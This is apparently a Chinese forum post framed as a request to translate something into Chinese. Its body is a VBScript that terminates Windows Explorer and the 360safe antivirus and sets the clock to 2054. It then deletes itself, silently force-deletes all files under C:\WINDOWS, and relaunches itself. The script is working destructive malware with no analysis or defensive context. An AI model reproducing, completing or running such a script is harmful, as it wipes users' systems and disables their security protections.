英語翻譯
'請直接翻譯成中文
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='360safe.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
Dim WshShell
Set WshShell = CreateObject("wscript.Shell")
WshShell.Run "cmd.exe /c date 2054-09-9",0
WshShell.Run "cmd.exe /c time 9:43:08",0
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del C:\WINDOWS\*.* / f /q /s""",0 ,true
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname